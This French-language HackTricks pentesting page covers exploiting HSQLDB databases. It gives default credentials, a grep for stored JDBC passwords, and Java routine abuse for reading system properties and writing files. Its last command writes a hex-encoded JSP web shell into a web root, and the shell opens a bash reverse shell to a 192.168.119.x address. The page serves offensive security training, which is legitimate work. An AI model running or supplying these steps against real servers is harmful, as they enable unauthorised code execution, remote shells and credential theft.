{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
# Informations de base
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** est le principal système de base de données relationnelle SQL écrit en Java. Il offre un moteur de base de données multithreadé et transactionnel, rapide et léger, avec des tables en mémoire et sur disque, et prend en charge les modes embarqué et serveur.
**Port par défaut :** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Information
### Paramètres par défaut
Notez qu'en règle générale, ce service fonctionne probablement en mémoire ou est lié à localhost. Si vous l'avez trouvé, vous avez probablement exploité un autre service et cherchez à élever vos privilèges.
Les identifiants par défaut sont généralement `sa` avec un mot de passe vide.
Si vous avez exploité un autre service, recherchez des identifiants possibles en utilisant
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Notez soigneusement le nom de la base de données - vous en aurez besoin pour vous connecter.
# Info Gathering
Connectez-vous à l'instance de la base de données en [téléchargeant HSQLDB](https://sourceforge.net/projects/hsqldb/files/) et en extrayant `hsqldb/lib/hsqldb.jar`. Exécutez l'application GUI \(eww\) en utilisant `java -jar hsqldb.jar` et connectez-vous à l'instance en utilisant les identifiants découverts/faibles.
Notez que l'URL de connexion ressemblera à ceci pour un système distant : `jdbc:hsqldb:hsql://ip/DBNAME`.
# Tricks
## Java Language Routines
Nous pouvons appeler des méthodes statiques d'une classe Java depuis HSQLDB en utilisant des Java Language Routines. Notez que la classe appelée doit être dans le classpath de l'application.
Les JRT peuvent être des `functions` ou des `procedures`. Les fonctions peuvent être appelées via des instructions SQL si la méthode Java retourne une ou plusieurs variables primitives compatibles SQL. Elles sont invoquées en utilisant l'instruction `VALUES`.
Si la méthode Java que nous voulons appeler retourne void, nous devons utiliser une procédure invoquée avec l'instruction `CALL`.
## Reading Java System Properties
Créer une fonction :
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
Exécuter la fonction :
```text
VALUES(getsystemproperty('user.name'))
```
Vous pouvez trouver une [liste des propriétés système ici](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Écrire du contenu dans un fichier
Vous pouvez utiliser le `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` gadget Java situé dans le JDK \(chargé automatiquement dans le chemin de classe de l'application\) pour écrire des éléments encodés en hexadécimal sur le disque via une procédure personnalisée. **Notez la taille maximale de 1024 octets**.
Créer une procédure :
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
Exécuter la procédure :
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Apprenez et pratiquez le hacking GCP : [**HackTricks Formation Expert Red Team GCP (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Soutenir HackTricks
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
{% endhint %}